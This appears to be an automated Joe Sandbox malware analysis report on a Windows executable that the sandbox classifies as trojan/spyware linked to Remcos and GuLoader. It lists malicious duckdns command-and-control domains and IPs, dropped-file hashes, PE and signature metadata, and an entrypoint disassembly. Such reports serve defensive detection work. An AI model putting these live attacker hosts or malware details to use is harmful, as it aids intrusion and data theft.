| drive.usercontent.google.com | 108.177.122.132 | true | false | high |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| false | high | ||
| true |
| unknown | |
| true |
| unknown |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 172.217.215.102 | drive.google.com | United States | 15169 | GOOGLEUS | false | |
| 108.177.122.132 | drive.usercontent.google.com | United States | 15169 | GOOGLEUS | false | |
| 172.111.244.113 | eweo9264gtuiorta1.duckdns.org | United States | 9009 | M247GB | true | |
| 178.237.33.50 | geoplugin.net | Netherlands | 8455 | ATOM86-ASATOM86NL | false | |
| 192.169.69.26 | eweo9264gtuiort.duckdns.org | United States | 23033 | WOWUS | true |
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1574342 |
| Start date and time: | 2024-12-13 08:48:07 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 9m 11s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301 |
| Number of analysed new started processes analysed: | 7 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | x295IO8kqM.exe |
| Detection: | MAL |
| Classification: | mal100.troj.spyw.evad.winEXE@11/17@5/5 |
| EGA Information: |
|
| HCA Information: |
|
| Cookbook Comments: |
|
- Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
- Not all processes where analyzed, report is missing behavior information
- Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
- VT rate limit hit for: x295IO8kqM.exe
| Time | Type | Description |
|---|---|---|
| 02:50:10 | API Interceptor | |
| 02:51:18 | API Interceptor | |
| 08:50:36 | Autostart | |
| 08:50:44 | Autostart |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 172.111.244.113 | Get hash | malicious | GuLoader, Remcos | Browse | ||
| 178.237.33.50 | Get hash | malicious | Remcos, DBatLoader | Browse |
| |
| Get hash | malicious | Cobalt Strike, Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| 192.169.69.26 | Get hash | malicious | RedLine, XWorm | Browse |
| |
| Get hash | malicious | VjW0rm, AsyncRAT, RATDispenser | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| eweo9264gtuiorta1.duckdns.org | Get hash | malicious | GuLoader, Remcos | Browse |
| |
| eweo9264gtuiort.duckdns.org | Get hash | malicious | Remcos, GuLoader | Browse |
| |
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | GuLoader, Remcos | Browse |
| ||
| Get hash | malicious | GuLoader, Remcos | Browse |
| ||
| Get hash | malicious | GuLoader, Remcos | Browse |
| ||
| geoplugin.net | Get hash | malicious | Remcos, DBatLoader | Browse |
| |
| Get hash | malicious | Cobalt Strike, Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| M247GB | Get hash | malicious | Mirai, Okiru | Browse |
| |
| Get hash | malicious | CobaltStrike | Browse |
| ||
| Get hash | malicious | Nanocore, XWorm | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | GuLoader, Remcos | Browse |
| ||
| Get hash | malicious | RedLine | Browse |
| ||
| Get hash | malicious | Mirai, Okiru | Browse |
| ||
| Get hash | malicious | PureLog Stealer, zgRAT | Browse |
| ||
| Get hash | malicious | Mirai | Browse |
| ||
| WOWUS | Get hash | malicious | AsyncRAT | Browse |
| |
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Cobalt Strike, Remcos | Browse |
| ||
| Get hash | malicious | AsyncRAT, DcRat | Browse |
| ||
| Get hash | malicious | RedLine, XWorm | Browse |
| ||
| Get hash | malicious | Nanocore | Browse |
| ||
| Get hash | malicious | AsyncRAT | Browse |
| ||
| Get hash | malicious | AsyncRAT | Browse |
| ||
| Get hash | malicious | AsyncRAT, PureLog Stealer | Browse |
| ||
| Get hash | malicious | AsyncRAT, DcRat | Browse |
| ||
| ATOM86-ASATOM86NL | Get hash | malicious | Remcos, DBatLoader | Browse |
| |
| Get hash | malicious | Cobalt Strike, Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig | Browse |
| |
| Get hash | malicious | FormBook | Browse |
| ||
| Get hash | malicious | Amadey, LummaC Stealer, Stealc, Vidar, Xmrig | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig | Browse |
| ||
| Get hash | malicious | Amadey, LummaC Stealer, Stealc, Vidar, Xmrig | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | XWorm | Browse |
| ||
| Get hash | malicious | Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar | Browse |
|
⊘No context
| Process: | C:\Windows\SysWOW64\msiexec.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 232 |
| Entropy (8bit): | 3.440824925520913 |
| Encrypted: | false |
| SSDEEP: | 6:6lZNlHole55YcIeeDAlOWA7DxbN2fxlx5Mm0v:6l5Yehec0WItN2Lx5Ml |
| MD5: | F59F4C892F6A093A9B2380D10B20B033 |
| SHA1: | 2276D769130A8D2A61DA9F328F871BF18DB8E86B |
| SHA-256: | 2381D8156A9DC518DFFA0A84F2D0EA9D89E00A99264395C06AB7C7EC0740545C |
| SHA-512: | 1DFBE6333990212F4A5DC65CE58CDA3BDD1C866B9FE7B5CDF10371DF0ADB39F115AAA869C9082D7AE56CC89C3C211E8F8CAA768A42522553BA289FEC76073A54 |
| Malicious: | true |
| Yara Hits: |
|
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\SysWOW64\msiexec.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 962 |
| Entropy (8bit): | 5.00819003742181 |
| Encrypted: | false |
| SSDEEP: | 12:tkl/jond6CsGkMyGWKyGXPVGArwY3vJv+8aIHrGIArpv/mOAaNO+ao9W7iN5zzkv:qlb4dRNuKyGX85WJ+vXhNlT3/7+GeWro |
| MD5: | AFF25EB004F80DFC3CAFE28617E0AE3E |
| SHA1: | C5F14301AF9F222668697EF791009508C3E64080 |
| SHA-256: | CEF2F365472FAF304437B90B061A895D3C458E07CEE301EB0810C0E6085FE92B |
| SHA-512: | F3DB037CD6ABD62B35A24AA600B6842CAC20DBD0335E3DBAE6815C6CFDBE5CD2AE6433E4ABD2F611EFED5875147842EB33718C56A1F8BE562BE470A1DD474A4B |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | modified |
| Size (bytes): | 14744 |
| Entropy (8bit): | 4.990428309401091 |
| Encrypted: | false |
| SSDEEP: | 384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdB4NXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdB4NZiA |
| MD5: | A3F4A4CED5E4717EA59EEDAAA642F0CF |
| SHA1: | EB40B4929869C8C2A8866A0F06AE166F406FE493 |
| SHA-256: | 59B8E05483EA0D66C8F98CB27508791C4066743462559CE29BBF658DD88BEC0E |
| SHA-512: | 804565218357E45BBFEE9661AF75E9941B54E1B6AA656DE02E57A0842BCA8E679F2250E004B4FF7705F4A22C65F9A3A48AF9614A851D8C062DF4DA3B99A67257 |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 345318 |
| Entropy (8bit): | 1.2552815277581528 |
| Encrypted: | false |
| SSDEEP: | 768:R40G2RKf9t/qm9R6GVLqqtO3MwGKFR/LvYfF6BlpaFeiJTnn8rPOjVsO2rgqziIJ:TKN33+DU4iIhkBLaN4hbQA/teZ |
| MD5: | D631BA9F3FC2531BE1EB2F3456796E22 |
| SHA1: | 148DE71666FEAE61A980EBE145997C7A4AFE14BA |
| SHA-256: | 7D262CC8D06EB8682B3E3F58C3EB37B33C8376AA7FE0B23A7A4D0F5BBEEDCE85 |
| SHA-512: | A27825EFCB2A1EC077196173B6E694715847770D07F202714817DAD57541187347A10EE376161E088CBDD790F014F998301FED589BA898DAF53ECF102C773FD8 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 73222 |
| Entropy (8bit): | 5.196773964749615 |
| Encrypted: | false |
| SSDEEP: | 1536:Z3ayvkGAI/1VnqmuyXfl95Tx9PPM0Iwe0ArfP4lfvg2c:Z3ayMGAINVqmuAfl3Tx9c0tYn4hva |
| MD5: | 6496B0F233D8E97B72FB1E7B8405ACB0 |
| SHA1: | 4D80619F2FABDBBCCC119F4EADD73732AC1E08D0 |
| SHA-256: | EA6F13FC1E413210BC127214D93C9AD5745DADA6E4181E23086E1C03417D2250 |
| SHA-512: | C3B75BD7333BEBD1A58765A329BDBF6E25062386C252D9594ACF2AB6157E1D8B33B5D9E2498A45D5DF553C41B8B937695947773F521A17A90D088F443C4E3FB8 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 431740 |
| Entropy (8bit): | 7.644935415631374 |
| Encrypted: | false |
| SSDEEP: | 12288:c1zUqvApIRXyOZ2Gik1rnjkzcyoH4m0dfr0:cUAApwZIkhjqVoH4m0dfr0 |
| MD5: | 15EE32F7FCED24502F1CFDA83BC30564 |
| SHA1: | A8966BE8B3524E3A91CF50F0EBB108D5862B4945 |
| SHA-256: | FD74364F0AD6D6C8756B735C011E2722F3445F97B6380A5ECFC06CF2C4C4CE1D |
| SHA-512: | F2AF6F0723B19DF66105B68660F45C4B1D1E24CB1E9334ECEC31DEA9724A6AB69DF83B975EF4C60E131F44286A6A95945ADD54C390C7C964F029090F9F904162 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 517 |
| Entropy (8bit): | 4.28695415263639 |
| Encrypted: | false |
| SSDEEP: | 12:AFxklsruXF8mxfw7jypcWsxJRLDP+2dRXlLYfRiMojPuriVXaO8LGM8AYBRwirZm:AeY8F8mxI7Ggz+2rFY5zdiVaF8AYBRFo |
| MD5: | 29E15243C8EC49A2171D36C391321AE6 |
| SHA1: | 9EEFCFEE919E2A0D89DC0B97F4085B783F509EF1 |
| SHA-256: | CD0477C515C42581AEF982E4638AF7D834EDF35E05E2A86F9B0DE789504A8AB3 |
| SHA-512: | 936E9E5903C112FFE9D0E644448E8C0829F27A4C8CCF282CBF40BD4780D3770BF8F9B504805A23FC5126AEEDE2EFDE1036E40625308D8A98FD559117AF84F30F |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 242790 |
| Entropy (8bit): | 1.2523928432688356 |
| Encrypted: | false |
| SSDEEP: | 768:DII5cq3LYeeYqRIebHX8Y3JlYSdc8KILIQZmoiLFPQ9tfpjptwEbTlPHFayB1gY3:hejbeQ1rwOKFE9R |
| MD5: | F1636842411072037DE463D4AE982587 |
| SHA1: | CED8C7FB442655B7C56F83A93698C313FD8BFD0E |
| SHA-256: | 322D45C0EA26612607DCAE2499F52562949AC9E1AA54A1EBAB0B8EF5130647F4 |
| SHA-512: | 1D0686F8847AAFC1763968EAB79611E764A79ECDBEFF80798325E417E7298281CB317BC4EB5382F294A9024EE0E964BF196287D5168578C20419767CBC2B68AC |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 421406 |
| Entropy (8bit): | 1.2497656660112648 |
| Encrypted: | false |
| SSDEEP: | 1536:T3O5HFns+AagJrEiTnkpBy8tXRloz59eBqrcR:ToYrEiTkLyCBlozr |
| MD5: | 558E7F447D2CEFDE136F69DFA6BBD6F8 |
| SHA1: | 32F1B96D23838B5B9A06D411A6BDECA19017276C |
| SHA-256: | 0AF726ED20E9AE154BF09DC68A80E145B328A3BCE63DB3620B2C03489A12E157 |
| SHA-512: | 1A1D137F368B7BA17DCAFF109BA501719CE1C3604B74815F63C8AE9D3D5AF1A17FA7D084A9DF9AEF245D9E45A0FE8E50592EF64C37E8F105A74F1136CF8B309D |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 347611 |
| Entropy (8bit): | 1.2637158874478889 |
| Encrypted: | false |
| SSDEEP: | 768:aBdieg0m7BZ1J9gccyxpAx+TnC58A3cd9kW+08rTYgcnfb40ZOL8yV08rg7l7/fO:Pblbd8lYWYBVcqW5ainT5j |
| MD5: | 085072D5A06045F20E39D2677C2DF661 |
| SHA1: | D3516D4DD491B98985229F2E2C63EF60C393324B |
| SHA-256: | 3D6D6062D5866D5044F9A402443046EC9BBD3477247F576A509425A4C37BA5A5 |
| SHA-512: | 9292B6260CFF9328171AEAE8C904268EE4637DD290D969048168242DC6F8F0FC5E6EAB478CAA1E1EE1F8FD63E0FC3FD47B3DF435A6DD5296C682D3053E8EC4CC |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 216675 |
| Entropy (8bit): | 1.2568145689844663 |
| Encrypted: | false |
| SSDEEP: | 768:z1qHQGWXg6kQ37VkNAph5N/jlvAcGqYPxLGKNzqua+/bg7/sY7PKlGaBKQdMLbaO:BO/10gpLH8gcw45NrrG |
| MD5: | 99322017D6047E10C197404E4BEE8E49 |
| SHA1: | 9074195B58B1FAD209AEB626AE388478D3C95BD7 |
| SHA-256: | 933FD146A379E83E28A56FB34767BC341CD35EF400B81720B42ED04806A6301B |
| SHA-512: | 8A18F1B4CD8945F9173FA7244DE7DFCEE2BA8A73B9B7DD8014AA55D60563006CA4A1311F0261125B8CDE9EF5754212BF725B4A74EF4FF3380F79283F94FB02E9 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 399862 |
| Entropy (8bit): | 1.2528103191788533 |
| Encrypted: | false |
| SSDEEP: | 1536:/TWzMETKRf3PYuaN4LZRkUwLJU8YsQxi0329bzF:EMEYffXaN4LZRkUwPQxLG9bz |
| MD5: | 4BF0A3825CAD70890226D0E19A627D6F |
| SHA1: | 76379634B52BF9E0A2B3899D898B7F3D90211C8B |
| SHA-256: | 672056535A58F5B0C32ECA0CD8B16F789B99CF6DC59A3BFF17A8D10ADBFE43C0 |
| SHA-512: | 9A8FA390D411DA12946A8883DC72360C276CCEEDE69B1CA6BA035EF2A101A96E8021D4362F275CB3518CE9C3A2EF1CEFC4F53B900B9B36417065203285F01F18 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\x295IO8kqM.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 316359 |
| Entropy (8bit): | 1.252132386894124 |
| Encrypted: | false |
| SSDEEP: | 768:0HBsdgdzXHL7b0z5dlku1v9mUKs6euLzaI0uP66CywW+KByir/syHfTN63mTozXf:jm+rJOvYmaMQx0OWw |
| MD5: | 7867E4681C981D4554C6AF7DD0D2C908 |
| SHA1: | BA79D1357963350803AA9B3264D12BB5076F6A7C |
| SHA-256: | 7206FB671880131F18F6B60DADDC4E270B5578898515F15A8B8930015BD59BE6 |
| SHA-512: | D6500314EB8FEA24BAD4D64CE476094B666D0F66C7D7A691AB0548F1EF62759DBF8AA1932431D4D8B09895F00E79D60164C71F8DF8A38EE0252594411F7C2067 |
| Malicious: | false |
| Preview: |
| File type: | |
| Entropy (8bit): | 7.755431424414754 |
| TrID: |
|
| File name: | x295IO8kqM.exe |
| File size: | 1'044'016 bytes |
| MD5: | 3e4417c519a6dc532e433ad673bfa553 |
| SHA1: | a724189bc732612dd68bc0ce7f7ac9ffabbd89b9 |
| SHA256: | 6e3fa4568a26535e48ab78ab8cc6e63fc96eb9262097f85d8c66d580dd7cd167 |
| SHA512: | 798fe3ed267aeee8378666e7d986855eebb2d5de45100fc8b34ce1e62464e64e62889b7d58f1a69e2404a8e78266d7dd5e55115a053b284bc1c8c9317f9d497c |
| SSDEEP: | 24576:SebTzoICQUf46BCnFSRopbwUg+ygUEFD70+LS:SebTzHCQUA6BCnF6+bg+ygNDQ+2 |
| TLSH: | 6C257A195D6EE817EBA14673717B94DA611C6CC5A3F020FF2B05306B252CBE882F716E |
| File Content Preview: | MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P..*_...P...P..OP..*_...P...s...P...V...P..Rich.P..........PE..L....c.W.................`...*......j2.......p....@ |
 | |
| Icon Hash: | 7140457192753373 |
| Entrypoint: | 0x40326a |
| Entrypoint Section: | .text |
| Digitally signed: | true |
| Imagebase: | 0x400000 |
| Subsystem: | windows gui |
| Image File Characteristics: | RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
| DLL Characteristics: | DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
| Time Stamp: | 0x57956391 [Mon Jul 25 00:55:45 2016 UTC] |
| TLS Callbacks: | |
| CLR (.Net) Version: | |
| OS Version Major: | 4 |
| OS Version Minor: | 0 |
| File Version Major: | 4 |
| File Version Minor: | 0 |
| Subsystem Version Major: | 4 |
| Subsystem Version Minor: | 0 |
| Import Hash: | e2a592076b17ef8bfb48b7e03965a3fc |
| Signature Valid: | false |
| Signature Issuer: | CN=Farmage, O=Farmage, L=Ilheu, C=FR |
| Signature Validation Error: | A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider |
| Error Number: | -2146762487 |
| Not Before, Not After |
|
| Subject Chain |
|
| Version: | 3 |
| Thumbprint MD5: | DA6D32247BE6553CED61F875C82BD44E |
| Thumbprint SHA-1: | A2E7E57741442428F75FE1BD361A4E69364E98E5 |
| Thumbprint SHA-256: | 94A96E07532156A2ED953AB891E14F43321AA6B05200F26CED2F62F2A7A899E7 |
| Serial: | 16D199DBB787CA8A887AC166AC8541D0979BE830 |
| Instruction |
|---|
| sub esp, 000002D4h |
| push ebx |
| push esi |
| push edi |
| push 00000020h |
| pop edi |
| xor ebx, ebx |
| push 00008001h |
| mov dword ptr [esp+14h], ebx |
| mov dword ptr [esp+10h], 004092E0h |
| mov dword ptr [esp+1Ch], ebx |
| call dword ptr [004070B0h] |
| call dword ptr [004070ACh] |
| cmp ax, 00000006h |
| je 00007F99042EB853h |
| push ebx |
| call 00007F99042EE994h |
| cmp eax, ebx |
| je 00007F99042EB849h |
| push 00000C00h |
| call eax |
| mov esi, 004072B8h |
| push esi |
| call 00007F99042EE90Eh |
| push esi |
| call dword ptr [0040715Ch] |
| lea esi, dword ptr [esi+eax+01h] |
| cmp byte ptr [esi], 00000000h |
| jne 00007F99042EB82Ch |
| push ebp |
| push 00000009h |
| call 00007F99042EE966h |
| push 00000007h |
| call 00007F99042EE95Fh |
| mov dword ptr [00429204h], eax |
| call dword ptr [0040703Ch] |
| push ebx |
| call dword ptr [004072A4h] |
| mov dword ptr [004292B8h], eax |
| push ebx |
| lea eax, dword ptr [esp+34h] |
| push 000002B4h |
| push eax |
| push ebx |
| push 004206A8h |
| call dword ptr [00407188h] |
| push 004092C8h |
| push 00428200h |
| call 00007F99042EE548h |
| call dword ptr [004070A8h] |
| mov ebp, 00434000h |
| push eax |
| push ebp |
| call 00007F99042EE536h |
| push ebx |
| call dword ptr [00407174h] |
| add word ptr [eax], 0000h |
| Programming Language: |
|
| Name | Virtual Address | Virtual Size | Is in Section |
|---|---|---|---|
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IMPORT | 0x7504 | 0xa0 | .rdata |
| IMAGE_DIRECTORY_ENTRY_RESOURCE | 0x48000 | 0x2b4a0 | .rsrc |
| IMAGE_DIRECTORY_ENTRY_EXCEPTION | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_SECURITY | 0xfe548 | 0x8e8 | |
| IMAGE_DIRECTORY_ENTRY_BASERELOC | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_DEBUG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COPYRIGHT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_GLOBALPTR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_TLS | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IAT | 0x7000 | 0x2b4 | .rdata |
| IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_RESERVED | 0x0 | 0x0 |
| Name | Virtual Address | Virtual Size | Raw Size | MD5 | Xored PE | ZLIB Complexity | File Type | Entropy | Characteristics |
|---|---|---|---|---|---|---|---|---|---|
| .text | 0x1000 | 0x5ff9 | 0x6000 | 34f0469eb860d5ecf0e52ef9d3820a60 | False | 0.6667073567708334 | data | 6.4734859396670705 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
| .rdata | 0x7000 | 0x13a4 | 0x1400 | 848ecd58951d0a4cfe8ec8cfce6b20d1 | False | 0.452734375 | data | 5.125569346027248 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| .data | 0x9000 | 0x202f8 | 0x600 | 3953dbb7217e7539ee75e90871f7aef9 | False | 0.4947916666666667 | data | 3.9050018847265378 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .ndata | 0x2a000 | 0x1e000 | 0x0 | d41d8cd98f00b204e9800998ecf8427e | False | 0 | empty | 0.0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .rsrc | 0x48000 | 0x2b4a0 | 0x2b600 | 901cd8d933095b041c4d5ad99c406b66 | False | 0.18056556195965417 | data | 4.754114267912815 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| Name | RVA | Size | Type | Language | Country | ZLIB Complexity |
|---|---|---|---|---|---|---|
| RT_ICON | 0x48388 | 0x10828 | Device independent bitmap graphic, 128 x 256 x 32, image size 67584 | English | United States | 0.07176446232106944 |
| RT_ICON | 0x58bb0 | 0x94a8 | Device independent bitmap graphic, 96 x 192 x 32, image size 38016 | English | United States | 0.10965419381963422 |
| RT_ICON | 0x62058 | 0x5488 | Device independent bitmap graphic, 72 x 144 x 32, image size 21600 | English | United States | 0.13382624768946397 |
| RT_ICON | 0x674e0 | 0x4228 | Device independent bitmap graphic, 64 x 128 x 32, image size 16896 | English | United States | 0.13350259801606046 |
| RT_ICON | 0x6b708 | 0x2ead | PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced | English | United States | 0.9818394844756884 |
| RT_ICON | 0x6e5b8 | 0x25a8 | Device independent bitmap graphic, 48 x 96 x 32, image size 9600 | English | United States | 0.19533195020746888 |
| RT_ICON | 0x70b60 | 0x10a8 | Device independent bitmap graphic, 32 x 64 x 32, image size 4224 | English | United States | 0.25422138836772984 |
